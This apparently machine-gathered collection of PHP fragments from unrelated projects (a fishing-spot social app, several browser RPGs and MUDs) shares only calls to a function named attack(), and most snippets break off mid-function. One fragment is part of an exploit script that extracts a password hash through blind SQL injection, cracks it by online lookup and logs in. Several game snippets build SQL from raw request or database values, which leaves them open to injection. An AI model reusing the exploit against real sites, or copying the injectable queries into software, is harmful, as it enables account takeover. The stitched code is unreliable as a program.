function share($id = 0) { is_numeric($id) or attack(); $data = $this->db->find('place', $id, 'id', '*,(SELECT avatar FROM user WHERE id=uid) authorFace,(SELECT name FROM user WHERE id=uid) authorName'); !empty($data) or die('<h1>此钓点不存在!</h1>'); $this->load->view('share', $data); }
function add($type, $data, $id, $uid = 0) { $res = ['link' => $id, 'uid' => $uid, 'time' => time(), 'type' => $type]; switch ($type) { case Notify::COMMENT: $res['msg'] = $data['name'] . '评价了你的微博'; break; case Notify::REPLY: $res['msg'] = $data['name'] . '回复了你的微博'; break; case Notify::PASS: $res['msg'] = '您的钓点' . $data['name'] . '通过了审核'; break; case Notify::FAIL: $res['msg'] = "您的钓点{$data['name']}因为{$data['info']}被拒绝了"; break; case Notify::ADD: $res['msg'] = "新增钓点{$data['name']}"; break; case Notify::ATTEND: $res['msg'] = "{$data['name']}关注了你"; break; default: attack(); } return $this->db->insert('notify', $res); }
function del() { $this->load->model('muser'); $this->muser->check() or noRights(); $id = (int) $this->input->post('id') or errInput(); $uid = $this->db->find('bbs', $id, 'id', 'uid') or ajax(4001, '帖子不存在'); if ($uid['uid'] != UID) { attack(); } $this->db->delete('bbs', ['id' => $id]) ? ajax() : busy(); //有外键,只删除bbs就可以了 }
function del() { $this->load->model('muser'); $this->muser->check() or noRights(); $id = (int) $this->input->post('id') or errInput(); $uid = $this->db->find('yue', $id, 'id', 'uid') or ajax(5001, '此记录不存在'); if ($uid['uid'] != UID) { attack(); } $this->db->delete('yue_people', ['yid' => $id]); $this->db->delete('bbs', ['id' => $id]) ? ajax() : busy(); }
function placeCheck() { $data = $this->input->post(['id', 'state']) or errInput(); $res = $this->db->find('place', $data['id'], 'id', 'uid,name'); $res or attack(); $this->load->model('notify'); if ($data['state'] == 1) { $this->notify->add(Notify::PASS, $res, $data['id'], $res['uid']); $this->notify->add(Notify::ADD, $res, $data['id']); } else { $res['info'] = $this->input->post('info', FALSE); $this->notify->add(Notify::FAIL, $res, $data['id'], $res['uid']); } $this->db->query("UPDATE place SET state=? WHERE id=?", [$data['state'], $data['id']]) ? ajax() : busy(); }
function del() { $this->load->model('muser', 'user'); if (!$this->user->check()) { noRights(); } $id = $this->input->post('id'); $uid = $this->db->find('weibo', $id, 'id', 'authorId'); if (!empty($uid) && $uid['authorId'] == UID) { $this->db->delete('weibo', ['id' => $id]) ? ajax() : busy(); //做了外键约束,只删微博就够了 } else { attack(); } }
function mag_decl_attack($who, $to) { // po idee magiej npc napadatq nebudut, no na vsjakij pozharnyj i tak puwu: //$who = preg_replace ('/[^a-z0-9_\.]/i', '', $who); //$to = preg_replace ('/[^a-z0-9_\.]/i', '', $to); if ($to == $who) { put_g_error('на себя напасть нелзя!'); } $id = is_player($who); $n = 0; if ($id) { $q = do_mysql("SELECT in_battle, status1, location, last FROM players WHERE id_player = '" . $id . "';"); } else { $id = is_npc($who); $n = 1; $q = do_mysql("SELECT in_battle, location FROM npc WHERE id_npc = '" . $id . "';"); } $w_inf = mysql_fetch_assoc($q); $tid = is_player($to); $tn = 0; if ($tid) { $q = do_mysql("SELECT in_battle, status1, location FROM players WHERE id_player = '" . $tid . "';"); } else { $tid = is_npc($to); $tn = 1; $q = do_mysql("SELECT in_battle, location FROM npc WHERE id_npc = '" . $tid . "';"); } $t_inf = mysql_fetch_assoc($q); if ($w_inf['location'] != $t_inf['location']) { return 0; } // celq nedostezhima include_once 'modules/f_attack.php'; attack($who, $to); return 1; }
</td> </tr> </table> </td> </tr> <tr> <td width="100%"> <h3> <?php attack(); if ($randeally == '3') { $youwin = $attackdmg + $attackdmg2; } else { $youwin = $attackdmg; } if ($randeally1 == '4') { $enemywin = $defdmg + $defdmg2; } else { $enemywin = $defdmg; } if ($youwin > $enemywin) { echo "<p align=center class=style54 id=message_{$mess} style=visibility:hidden><br><font color=lightgreen><b>{$stat['username']}</b></font> is the winner!</p><br><br>"; $mess++; $pskilldiversion = mysql_fetch_assoc(mysql_query("select `end` from castedskills where `skillid`=8 and reciever={$stat1['id']} and `end` > UNIX_TIMESTAMP()")); if (!$pskilldiversion) {
function comment($input) { $this->load->model('notify'); if ($input['fid'] != 0) { $t = $this->db->where(['wid' => $input['wid'], 'id' => $input['fid']])->get('wcomment'); if (!$t || $t->num_rows() != 1) { attack(); } $autId = $t->row_array()['uid']; $type = Notify::REPLY; } else { $autId = $this->db->find('weibo', $input['wid'], 'id', 'authorId')['authorId']; $type = Notify::COMMENT; } $input['uid'] = UID; $input['time'] = time(); $this->notify->add($type, $this->db->find('user', UID, 'id', 'name'), $input['wid'], $autId); return $this->db->insert('wcomment', $input); }
function attack_wrapper(&$pa, &$pd, $active) { if (eval(__MAGIC__)) { return $___RET_VALUE; } attack_prepare($pa, $pd, $active); attack($pa, $pd, $active); attack_finish($pa, $pd, $active); }
$toloc = $p['location']; if (substr($toloc, 0, 4) == 'rele' || substr($toloc, 0, 4) == 'elfc' || substr($toloc, 0, 4) == 'verg') { put_g_error('на этой локации атаковать нелзя'); } if (!isset($_GET['to'])) { // pokazyvaem vybor igroka // ili npc include_once 'modules/f_list_inloc.php'; $f = list_inloc($LOGIN, 'use_item&item=' . $item); exit_msg('выберите цель:', $f); } // esli vypolnjaetsja, znachet to vybran $to = preg_replace('/[^a-z0-9_\\.-]/i', '', $_GET['to']); // napadaem: include_once 'modules/f_attack.php'; attack($LOGIN, $to); // udalim if ($ii['on_take'] > 1) { // umenqshim kolichestvo $ii['on_take']--; do_mysql("UPDATE items SET on_take = '" . $ii['on_take'] . "' WHERE id_item = '" . $ii['id_item'] . "';"); } else { include_once 'modules/f_delete_item.php'; delete_item($item); } $id = is_player($to); if ($id) { $q = do_mysql("SELECT life, mana, name FROM players WHERE id_player = '" . $id . "';"); $t = mysql_fetch_assoc($q); $t['life'] = explode('|', $t['life']); $t['mana'] = explode('|', $t['mana']);
function combat($active = 1, $wep_kind = '') { global $log, $mode, $main, $cmd, $battle_title, $db, $tablepre, $pls, $message, $now, $w_log, $nosta, $hdamage, $hplayer; global $pid, $name, $club, $inf, $lvl, $exp, $killnum, $bid, $tactic, $pose, $hp, $mhp; global $wep, $wepk, $wepe, $weps, $wepsk; global $edata, $w_pid, $w_name, $w_pass, $w_type, $w_endtime, $w_deathtime, $w_gd, $w_sNo, $w_icon, $w_club, $w_hp, $w_mhp, $w_sp, $w_msp, $w_att, $w_def, $w_pls, $w_lvl, $w_exp, $w_money, $w_bid, $w_inf, $w_rage, $w_pose, $w_tactic, $w_killnum, $w_state, $w_wp, $w_wk, $w_wg, $w_wc, $w_wd, $w_wf, $w_teamID, $w_teamPass; global $w_wep, $w_wepk, $w_wepe, $w_weps, $w_arb, $w_arbk, $w_arbe, $w_arbs, $w_arh, $w_arhk, $w_arhe, $w_arhs, $w_ara, $w_arak, $w_arae, $w_aras, $w_arf, $w_arfk, $w_arfe, $w_arfs, $w_art, $w_artk, $w_arte, $w_arts, $w_itm0, $w_itmk0, $w_itme0, $w_itms0, $w_itm1, $w_itmk1, $w_itme1, $w_itms1, $w_itm2, $w_itmk2, $w_itme2, $w_itms2, $w_itm3, $w_itmk3, $w_itme3, $w_itms3, $w_itm4, $w_itmk4, $w_itme4, $w_itms4, $w_itm5, $w_itmk5, $w_itme5, $w_itms5, $w_itm6, $w_itmk6, $w_itme6, $w_itms6, $w_wepsk, $w_arbsk, $w_arhsk, $w_arask, $w_arfsk, $w_artsk, $w_itmsk0, $w_itmsk1, $w_itmsk2, $w_itmsk3, $w_itmsk4, $w_itmsk5, $w_itmsk6; global $infinfo, $w_combat_inf; global $rp, $w_rp, $action, $w_action, $achievement, $w_achievement, $skills, $w_skills, $skillpoint, $w_skillpoint; $battle_title = '战斗发生'; if (!$wep_kind) { $w1 = substr($wepk, 1, 1); $w2 = substr($wepk, 2, 1); if (($w1 == 'G' || $w1 == 'J') && $weps == $nosta) { $wep_kind = $w2 ? $w2 : 'P'; } else { $wep_kind = $w1; } } elseif (strpos($wepk, $wep_kind) === false && $wep_kind != 'back') { $wep_kind = substr($wepk, 1, 1); } $wep_temp = $wep; include_once GAME_ROOT . './include/game/clubskills.func.php'; if ($active) { if ($wep_kind == 'back') { $log .= "你逃跑了。"; $action = ''; $mode = 'command'; return; } $enemyid = $active ? str_replace('enemy', '', $action) : $bid; if (!$enemyid || strpos($action, 'enemy') === false) { $log .= "<span class=\"yellow\">你没有遇到敌人,或已经离开战场!</span><br>"; $action = ''; $mode = 'command'; return; } $result = $db->query("SELECT * FROM {$tablepre}players WHERE pid='{$enemyid}'"); if (!$db->num_rows($result)) { $log .= "对方不存在!<br>"; $action = ''; $mode = 'command'; return; } $edata = $db->fetch_array($result); if ($edata['pls'] != $pls) { $log .= "<span class=\"yellow\">" . $edata['name'] . "</span>已经离开了<span class=\"yellow\">{$plsinfo[$pls]}</span>。<br>"; $action = ''; $mode = 'command'; return; } elseif ($edata['hp'] <= 0) { global $corpseprotect, $gamestate; $log .= "<span class=\"red\">" . $edata['name'] . "</span>已经死亡,不能被攻击。<br>"; if ($edata['endtime'] < $now - $corpseprotect && $gamestate < 40) { $action = 'corpse' . $edata['pid']; include_once GAME_ROOT . './include/game/battle.func.php'; findcorpse($edata); } //$action = ''; return; } if ($message) { // foreach ( Array('<','>',';',',') as $value ) { // if(strpos($message,$value)!==false){ // $message = str_replace ( $value, '', $message ); // } // } $log .= "<span class=\"lime\">你对{$edata['name']}大喊:{$message}</span><br>"; if (!$edata['type']) { $w_log = "<span class=\"lime\">{$name}对你大喊:{$message}</span><br>"; logsave($edata['pid'], $now, $w_log, 'c'); } } extract($edata, EXTR_PREFIX_ALL, 'w'); init_battle(1); include_once GAME_ROOT . './include/game/attr.func.php'; $log .= "你向<span class=\"red\">{$w_name}</span>发起了攻击!<br>"; $att_dmg = attack($wep_kind, 1); global $ggflag; if ($ggflag) { return; } $w_hp -= $att_dmg; if ($w_hp > 0 && $w_tactic != 4 && $w_pose != 5) { global $rangeinfo; $w_w1 = substr($w_wepk, 1, 1); $w_w2 = substr($w_wepk, 2, 1); if (($w_w1 == 'G' || $w_w1 == 'J') && $w_weps == $nosta) { $w_wep_kind = $w_w2 ? $w_w2 : 'P'; } else { $w_wep_kind = $w_w1; } //if (($rangeinfo [$wep_kind] == $rangeinfo [$w_wep_kind]) || ($rangeinfo [$w_wep_kind] == 'M')) { if ($rangeinfo[$wep_kind] <= $rangeinfo[$w_wep_kind] && $rangeinfo[$wep_kind] !== 0) { $counter = get_counter($w_wep_kind, $w_tactic, $w_club, $w_inf); $counter *= get_clubskill_bonus_counter($w_club, $w_skills, 'w_', $club, $skills, ''); $counter_dice = rand(0, 99); if ($counter_dice < $counter) { $log .= "<span class=\"red\">{$w_name}的反击!</span><br>"; $log .= npc_chat($w_type, $w_name, 'defend'); $def_dmg = defend($w_wep_kind); } else { $log .= npc_chat($w_type, $w_name, 'escape'); $log .= "<span class=\"red\">{$w_name}处于无法反击的状态,逃跑了!</span><br>"; } } else { $log .= npc_chat($w_type, $w_name, 'cannot'); $log .= "<span class=\"red\">{$w_name}攻击范围不足,不能反击,逃跑了!</span><br>"; } } elseif ($w_hp > 0) { $log .= "<span class=\"red\">{$w_name}逃跑了!</span><br>"; } } else { $result = $db->query("SELECT * FROM {$tablepre}players WHERE pid='{$bid}'"); $edata = $db->fetch_array($result); extract($edata, EXTR_PREFIX_ALL, 'w'); init_battle(1); include_once GAME_ROOT . './include/game/attr.func.php'; $log .= "<span class=\"red\">{$w_name}</span>突然向你袭来!<br>"; $log .= npc_chat($w_type, $w_name, 'attack'); npc_changewep(); $w_w1 = substr($w_wepk, 1, 1); $w_w2 = substr($w_wepk, 2, 1); if (($w_w1 == 'G' || $w_w1 == 'J') && $w_weps == $nosta) { $w_wep_kind = $w_w2 ? $w_w2 : 'P'; } else { $w_wep_kind = $w_w1; } $def_dmg = defend($w_wep_kind, 1); if ($hp > 0 && $tactic != 4 && $pose != 5) { global $rangeinfo; if ($rangeinfo[$wep_kind] >= $rangeinfo[$w_wep_kind] && $rangeinfo[$w_wep_kind] !== 0) { $counter = get_counter($wep_kind, $tactic, $club, $inf); $counter *= get_clubskill_bonus_counter($club, $skills, '', $w_club, $w_skills, 'w_'); $counter_dice = rand(0, 99); if ($counter_dice < $counter) { $log .= "<span class=\"red\">你的反击!</span><br>"; $wep_kind = substr($wepk, 1, 1); $att_dmg = attack($wep_kind); $w_hp -= $att_dmg; } else { $log .= "<span class=\"red\">你处于无法反击的状态,逃跑了!</span><br>"; } } else { $log .= "<span class=\"red\">你攻击范围不足,不能反击,逃跑了!</span><br>"; } } elseif ($hp > 0) { $log .= "<span class=\"red\">你逃跑了!</span><br>"; } } if ($hp == 0 && !$w_action) { $w_action = 'pacorpse' . $pid; } w_save($w_pid); $att_dmg = $att_dmg ? $att_dmg : 0; $def_dmg = $def_dmg ? $def_dmg : 0; if (!$w_type) { $w_inf_log = ''; if ($w_combat_inf) { global $exdmginf; foreach ($exdmginf as $inf_ky => $w_inf_words) { if (strpos($w_combat_inf, $inf_ky) !== false) { $w_inf_log .= "敌人的攻击造成你{$w_inf_words}了!<br>"; } } } if ($active) { $w_log = "手持<span class=\"red\">{$wep_temp}</span>的<span class=\"yellow\">{$name}</span>向你袭击!<br>你受到其<span class=\"yellow\">{$att_dmg}</span>点攻击,对其做出了<span class=\"yellow\">{$def_dmg}</span>点反击。<br>{$w_inf_log}"; } else { $w_log = "你发现了手持<span class=\"red\">{$wep_temp}</span>的<span class=\"yellow\">{$name}</span>并且先发制人!<br>你对其做出<span class=\"yellow\">{$def_dmg}</span>点攻击,受到其<span class=\"yellow\">{$att_dmg}</span>点反击。<br>{$w_inf_log}"; } if ($hp == 0) { $w_log .= "<span class=\"yellow\">{$name}</span><span class=\"red\">被你杀死了!</span><br>"; //include_once GAME_ROOT.'./include/game/achievement.func.php'; //check_battle_achievement($w_achievement,$w_type,$name); } logsave($w_pid, $now, $w_log, 'b'); } if ($att_dmg > $hdamage && $att_dmg >= $def_dmg) { $hdamage = $att_dmg; $hplayer = $name; save_combatinfo(); } elseif ($def_dmg > $hdamage && !$w_type) { $hdamage = $def_dmg; $hplayer = $w_name; save_combatinfo(); } //$bid = $w_pid; if ($w_hp <= 0 && $w_club != 99) { $w_bid = $pid; $w_hp = 0; if ($w_type == 0) { $killnum++; } include_once GAME_ROOT . './include/state.func.php'; $killmsg = kill($wep_kind, $w_name, $w_type, $w_pid, $wep_temp); $log .= npc_chat($w_type, $w_name, 'death'); include_once GAME_ROOT . './include/game/achievement.func.php'; check_battle_achievement($name, $w_type, $w_name, $wep_temp); $log .= "<span class=\"red\">{$w_name}被你杀死了!</span><br>"; //$rp = $rp + 20 ; if (!$w_type) { $rpup = $w_rp; } else { $rpup = 20; } if ($club == 19) { $rpdec = 30; $rpdec += get_clubskill_rp_dec($club, $skills); $rp += round($rpup * (100 - $rpdec) / 100); } else { $rp += $rpup; } if ($killmsg) { $log .= "<span class=\"yellow\">你对{$w_name}说:“{$killmsg}”</span><br>"; } include_once GAME_ROOT . './include/game/battle.func.php'; $result = $db->query("SELECT * FROM {$tablepre}players WHERE pid='{$w_pid}'"); $cdata = $db->fetch_array($result); $action = 'corpse' . $edata['pid']; findcorpse($cdata); return; } else { if ($w_hp <= 0) { //有第二阶段 if ($w_type) { $log .= npc_chat($w_type, $w_name, 'death'); include_once GAME_ROOT . './include/system.func.php'; $npcdata = evonpc($w_type, $w_name); $log .= '<span class="yellow">' . $w_name . '却没死去,反而爆发出真正的实力!</span><br>'; if ($npcdata) { addnews($now, 'evonpc', $w_name, $npcdata['name'], $name); foreach ($npcdata as $key => $val) { ${'w_' . $key} = $val; } } } else { include_once GAME_ROOT . './include/state.func.php'; $killmsg = kill($wep_kind, $w_name, $w_type, $w_pid, $wep_temp); $log .= '<span class="yellow">' . $w_name . '由于其及时按了BOMB键而原地满血复活了!</span><br>'; } } $main = 'battle'; init_battle(1); if (CURSCRIPT !== 'botservice') { include template('battleresult'); //$cmd = '<br><br><input type="hidden" name="mode" value="command"><input type="radio" name="command" id="back" value="back" checked><a onclick=sl("back"); href="javascript:void(0);" >确定</a><br>'; $cmd = ob_get_contents(); ob_clean(); //$bid = $hp <= 0 ? $bid : 0; } $action = ''; return; } }
if (strtotime($user['timeOut']) > time()) { echo "You can not do anything until " . $user['timeOut']; } else { //set 10 minutes timeout $user['timeOut'] = date("Y/m/d H:i:s a", time() + 600); if ($user['health'] == 0) { echo "You do not have health and can not fight!"; } else { //find opponent $query = "SELECT * FROM `users` WHERE `users`.`username` != '" . $_SESSION['logged_user'] . "'"; $opponent = $db->fetchArray($query); $opponent = $opponent[rand(0, sizeof($opponent) - 1)]; //fight while ($opponent['health'] > 0 && $user['health'] > 0) { $opponent['health'] = $opponent['health'] - attack($user, $opponent); $user['health'] = $user['health'] - attack($opponent, $user); } //check for draw if ($user['health'] <= 0 && $opponent['health'] <= 0) { $user['health'] = 0; $opponent['health'] = 0; $db->saveArray("users", $user); $db->saveArray("users", $opponent); echo "Draw!"; } else { //if p1 won if ($user['health'] <= 0) { $user['health'] = 0; $opponent['wins']++; $opponent['rank'] = $opponent['wins'] / 10; //calculate rank
<?php // fail samoj ataki $who = $LOGIN; $to = preg_replace('/[^a-z0-9_\\.-]/i', '', $_GET['to']); if (isset($_GET['type'])) { $type = preg_replace('/[^a-z]/', '', $_GET['type']); } else { $type = 'NONE'; } include_once 'modules/f_check_dead.php'; // napadaem: include_once 'modules/f_attack.php'; attack($who, $to); // proverjaem uspeshnostq ataki: include_once 'modules/f_is_attack_successful.php'; $result = is_attack_successful($who, $to); if ($result) { // vse, delaem uron include_once 'modules/f_do_dmg.php'; if ($result > 1) { $PAR = 0; } else { $PAR = 1; } do_dmg($who, $to, $type, $PAR); } else { include 'modules/s_main.php'; } /////////////////////////////////////////////////////////////////////////////////// // podvodim itogi // zhiv li
function attend() { if (!$this->m->check()) { noRights(); } $id = $this->input->post('id') or errInput(); $this->db->where(['fromid' => UID, 'toId' => $id])->get('attention')->num_rows() == 0 or ajax(1004, '你已经关注了此用户'); $this->db->where('id', $id)->step('fans', 'user'); $this->db->affected_rows() == 1 or attack(); //此用户不存在 $this->db->where('id', UID)->step('cared'); $flag = $this->db->insert('attention', ['fromid' => UID, 'toId' => $id]); if (!$flag) { busy(); } $this->load->model('notify'); $this->notify->add(Notify::ATTEND, $this->db->find('user', UID, 'id', 'name'), UID, $id) ? ajax() : busy(); }
} print "\n[*] Hash:\t"; $passwd = blind("mot_passe", $i); print "\n"; $md5 = strtolower($passwd); for ($a = 0; $a < sizeof($md5loc); $a++) { $r = crack($md5loc[$a][0], $md5loc[$a][1], $md5loc[$a][2]); if ($r) { print "[*] Password:\t{$r}\n"; break; } } if (!$r) { print "[*] Can't find the hash on the net, sorry.\n"; } else { attack($login, $r); die; } } } function blind($field, $i = 0) { global $xpl, $url; $d = 0; $v = ''; $charset = "etaonisrhldcumfpwgbyvkxjqz0123456789_-\$.^()[]{}Š*\"'@=/\\|#?+&!`<>:;,\\"; if (eregi('p', $field)) { $charset = "0123456789abcdef"; } while (TRUE) { $d++;
function score() { $this->load->model('muser', 'user'); if (!$this->user->check()) { noRights(); } $data = $this->input->post(['score', 'content', 'images', 'pid']); if (!$data) { errInput(); } if (!is_numeric($data['score']) || $data['score'] < 0 || $data['score'] > 10) { attack(); } is_array(json_decode($data['images'], TRUE)) or errInput(); $data['images'] = gzcompress($data['images']); $data['uid'] = UID; $data['time'] = time(); $flag = $this->db->insert('score', $data); if (!$flag) { busy(); } $score = $this->db->query("SELECT count(*) num,sum(`score`) total FROM score WHERE pid=?", $data['pid'])->row(); $newS = $score->total * 10 / $score->num; //添加评价了,num不可能为0 $this->db->where('id', $data['pid'])->update('place', ['score' => round($newS) / 10]) ? ajax() : busy(); }
<?php include "../site/connexion.php"; include "../site/verif_connexion.php"; include "../../www/include/attack.php"; if (isset($_GET['idAttaque']) && isset($_GET['idDefense'])) { attack($bdd, $_SESSION['id_partie'], $_GET['idAttaque'], $_GET['idDefense'], $_SESSION['usr_id']); }
echo " <input type='button' class='btn' onclick=\"window.location='?action=vixod'\" value='Выход'></div>"; //---------------------------------------------------- if (!isset($_SESSION["xy"])) { $_SESSION["xy"] = "9x4"; $xx = 9; $yy = 4; } else { $cor = explode("x", $_SESSION["xy"]); $xx = $cor[0]; $yy = $cor[1]; } //------------BATLLE WHEN WALK-------------------------------------- if ($_GET["action"] == 'walk') { $at = rand(0, 100); if ($at > 75) { attack($db); } } //------------TAKE MONEY-------------------------------------- echo "<table cellspacing=0 cellpadding=0 width=100% border=0>\n<tr>\n<td width=100%>"; if ($_POST['baks'] == 1) { ?> <form action="main.php" method="post"> <p> <img src="pic.php?<?php echo session_name(); ?> =<?php echo session_id(); ?> "> <br>Введите текст:<input type="text" name="keystring">
function game_move($gameid) { $query1 = "SELECT * FROM games WHERE gameid = '{$gameid}' "; $recordset = mysql_query($query1) or die(mysql_error()); $row = mysql_fetch_array($recordset); $gamestate = $row["gamestate"]; $arrayplayersid = explode(",", $row["players"]); array_pop($arrayplayersid); $bosshealth = $row["bosshealth"]; $boss = $row["boss"]; $roundcount = $row["roundcount"]; $weather = $row["weather"]; //---prevent duplicative gameturns---// if ($gamestate == "calculating") { return "calculating"; } else { $query2 = "UPDATE games SET gamestate = ('calculating') WHERE gameid = '{$gameid}' "; mysql_query($query2) or die(mysql_error()); $story = ""; //---attack the boss---// $totalattack = 0; foreach ($arrayplayersid as $playerid) { $query3 = "SELECT * FROM players WHERE playerid = '{$playerid}' "; $recordset = mysql_query($query3) or die(mysql_error()); $row = mysql_fetch_array($recordset); $move = $row["playermove"]; $raineffect = mt_rand(0, 99); $snoweffect = mt_rand(0, 99); if ($move == "attack" and $weather == "rainy" and $raineffect < number("percentage_rainy_miss")) { $story = $story . "Rain prevents @" . $playerid . "&'s attack.,"; //story } elseif ($move == "attack" and $weather == "snowy" and $snoweffect < number("percentage_snowy_miss")) { $story = $story . "Snow prevents @" . $playerid . "&'s attack.,"; //story } elseif ($move == "attack") { $attack = attack($playerid); $windeffect = mt_rand(0, 99); if ($weather == "windy" and $windeffect < number("percentage_windy_reduce")) { $attack = $attack * number("windy_multiplier"); $story = $story . "Wind reduces @" . $playerid . "&'s attack to " . $attack . " damage.,"; //story } else { $story = $story . "<i>@" . $playerid . "&" . storytime("attack") . "</i>,"; //storytime $story = $story . "@" . $playerid . "& attacks for " . $attack . " damage.,"; //story } $totalattack = $totalattack + $attack; } } $bossmove = boss_move($gameid); //---boss dodges---// if ($bossmove == "dodge") { $totalattack = $totalattack * number("boss_dodge_multiplier"); $story = $story . "The " . $boss . " dodges to escape some damage.,"; //story } //---boss takes damage---// $story = $story . "The " . $boss . " takes " . $totalattack . " damage.,"; //story $query4 = "SELECT * FROM games WHERE gameid = '{$gameid}' "; $recordset = mysql_query($query4) or die(mysql_error()); $row = mysql_fetch_array($recordset); $bosshealth = $row["bosshealth"]; $newbosshealth = $bosshealth - $totalattack; $query5 = "UPDATE games SET bosshealth = ('{$newbosshealth}') WHERE gameid = '{$gameid}' "; mysql_query($query5) or die(mysql_error()); //---boss deals damage---// if ($newbosshealth > 0) { $windeffect2 = mt_rand(0, 99); $snoweffect2 = mt_rand(0, 99); //---weather: wind fail---// if (($bossmove == "attackone" or $bossmove == "attackall") and $weather == "windy" and $windeffect2 < number("percentage_windy_miss")) { $story = $story . "The wind causes the " . $boss . "'s attack to miss.,"; //story } elseif (($bossmove == "attackone" or $bossmove == "attackall") and $weather == "snowy" and $snoweffect2 < number("percentage_snowy_miss")) { $story = $story . "The snow causes the " . $boss . "'s attack to miss.,"; //story } elseif ($bossmove == "attackone") { $arraybossattack = explode(";", boss_attack_one($arrayplayersid)); $target = $arraybossattack[0]; $damage = $arraybossattack[1]; $raineffect2 = mt_rand(0, 99); if ($weather == "rainy" and $raineffect2 < number("percentage_rainy_reduce")) { $damage = $damage * number("rainy_multiplier"); $story = $story . "The rain reduces the " . $boss . "'s attack.,"; //story } $query6 = "SELECT * FROM players WHERE playerid = '{$target}' "; $recordset = mysql_query($query6) or die(mysql_error()); $row = mysql_fetch_array($recordset); $currenthealth = $row["health"]; //---player dodges---// $move = $row["playermove"]; if ($move == "dodge") { $story = $story . "@" . $target . "& dodges.,"; //story $damage = $damage - dodge($target); if ($damage < 0) { $damage = 0; $story = $story . "<i>@" . $playerid . "&" . storytime("dodge") . ",</i>"; //storytime $story = $story . "@" . $target . "& dodges the " . $boss . "'s attack and takes no damage.,"; //story } else { $story = $story . "<i>@" . $playerid . "&" . storytime("dodge") . ",</i>"; //storytime $story = $story . "@" . $target . "& dodges the " . $boss . "'s attack but takes " . $damage . " damage.,"; //story } } else { $story = $story . "<i>The " . $boss . storytime("boss") . ",</i>"; //storytime $story = $story . "The " . $boss . " focuses an attack on @" . $target . "& for " . $damage . " damage.,"; //story } //---player takes damage---// $newhealth = $currenthealth - $damage; $query7 = "UPDATE players SET health = ('{$newhealth}') WHERE playerid = '{$target}' "; mysql_query($query7) or die(mysql_error()); } elseif ($bossmove == "attackall") { $story = $story . "<i>The " . $boss . storytime("boss") . "</i>,"; //storytime $story = $story . "The " . $boss . " attacks everyone.,"; //story $arraybossattack = explode(";", boss_attack_all($arrayplayersid)); $arraytargets = explode(",", $arraybossattack[0]); $damage = $arraybossattack[1]; $raineffect2 = mt_rand(0, 99); if ($weather == "rainy" and $raineffect2 < number("percentage_rainy_miss")) { $damage = $damage * number("rainy_multiplier"); $story = $story . "The rain reduces the " . $boss . "'s attack.,"; //story } foreach ($arraytargets as $target) { $query8 = "SELECT * FROM players WHERE playerid = '{$target}' "; $recordset = mysql_query($query8) or die(mysql_error()); $row = mysql_fetch_array($recordset); $currenthealth = $row["health"]; //---player dodges---// $move = $row["playermove"]; if ($move == "dodge") { $damage = $damage - dodge($target); if ($damage < 0) { $damage = 0; $story = $story . "<i>@" . $playerid . "&" . storytime("dodge") . "</i>,"; //storytime $story = $story . "@" . $target . "& dodges the " . $boss . "'s attack and takes no damage.,"; //story } else { $story = $story . "<i>@" . $playerid . "&" . storytime("dodge") . "</i>,"; //storytime $story = $story . "@" . $target . "& dodges the " . $boss . "'s attack but takes " . $damage . " damage.,"; //story } } else { $story = $story . "@" . $target . "& takes " . $damage . " damage from the " . $boss . " attack.,"; //story } //---player takes damage---// $newhealth = $currenthealth - $damage; $query9 = "UPDATE players SET health = ('{$newhealth}') WHERE playerid = '{$target}' "; mysql_query($query9) or die(mysql_error()); } } } else { $story = $story . "The " . $boss . " is defeated!,"; $endgame = "victory"; } //---players heal---// foreach ($arrayplayersid as $playerid) { $query10 = "SELECT * FROM players WHERE playerid = '{$playerid}' "; $recordset = mysql_query($query10) or die(mysql_error()); $row = mysql_fetch_array($recordset); $move = $row["playermove"]; if ($move == "heal") { heal($playerid); $story = $story . "<i>@" . $playerid . "&" . storytime("heal") . "</i>,"; //storytime $story = $story . "@" . $playerid . "& heals the team to help them recover.,"; //story } } //---players die---// $arraydead = array(""); array_pop($arraydead); foreach ($arrayplayersid as $playerid) { $query11 = "SELECT * FROM players WHERE playerid = '{$playerid}' "; $recordset = mysql_query($query11) or die(mysql_error()); $row = mysql_fetch_array($recordset); $health = $row["health"]; if ($health == 0 or $health < 0) { $deadplayer = array($playerid); $arraydead = array_merge($arraydead, $deadplayer); if ($row["playerstate"] !== "dead") { $story = $story . "<i>@" . $playerid . "&" . storytime("die") . "</i>,"; //storytime $story = $story . "@" . $playerid . "& has died.,"; //story $query12 = "UPDATE players SET health = '0' WHERE playerid = '{$playerid}' "; mysql_query($query12) or die(mysql_error()); } } } //---change weather---// $newweather = change_weather($weather); $story = $story . "The weather is " . $newweather . "."; //story $query13 = "UPDATE games SET weather = ('{$newweather}') WHERE gameid = '{$gameid}' "; mysql_query($query13) or die(mysql_error()); //---replace id numbers with names in story---// if (strpos($story, "@") !== FALSE) { $input = $story; preg_match_all("~@(.*?)&~", $input, $output); $arraytagged = $output[1]; foreach ($arraytagged as $taggedid) { $query14 = "SELECT * FROM players WHERE playerid = '{$taggedid}'"; $recordset = mysql_query($query14) or die(mysql_error()); $row = mysql_fetch_array($recordset); $name = $row["name"]; if (isset($name)) { $story = str_replace("@{$taggedid}&", "{$name}", $story); } } } //---reset gamestate---// foreach ($arrayplayersid as $playerid) { $query15 = "UPDATE players SET playermove = ('') WHERE playerid = '{$playerid}' "; mysql_query($query15) or die(mysql_error()); $query16 = "UPDATE players SET playerstate = ('playerturn') WHERE playerid = '{$playerid}' "; mysql_query($query16) or die(mysql_error()); } foreach ($arraydead as $playerid) { $query17 = "UPDATE players SET playerstate = ('dead') WHERE playerid = '{$playerid}' "; mysql_query($query17) or die(mysql_error()); } $slashstory = addslashes($story); $query18 = "UPDATE games SET bossmove = ('{$slashstory}') WHERE gameid = '{$gameid}' "; mysql_query($query18) or die(mysql_error()); $roundcount = $roundcount + 1; $query19 = "UPDATE games SET roundcount = ('{$roundcount}') WHERE gameid = '{$gameid}' "; mysql_query($query19) or die(mysql_error()); //---game over?---// if (isset($endgame) and $endgame == "victory") { $query20 = "UPDATE games SET gamestate = ('victory') WHERE gameid = '{$gameid}' "; mysql_query($query20) or die(mysql_error()); foreach ($arrayplayersid as $playerid) { $query21 = "UPDATE players SET playerstate = ('victory') WHERE playerid = '{$playerid}' "; mysql_query($query21) or die(mysql_error()); } return "victory"; } elseif ($arrayplayersid == $arraydead) { $query22 = "UPDATE games SET gamestate = ('defeat') WHERE gameid = '{$gameid}' "; mysql_query($query22) or die(mysql_error()); return "defeat"; } else { $query23 = "UPDATE games SET gamestate = ('playerturn') WHERE gameid = '{$gameid}' "; mysql_query($query23) or die(mysql_error()); return "continue"; } } }
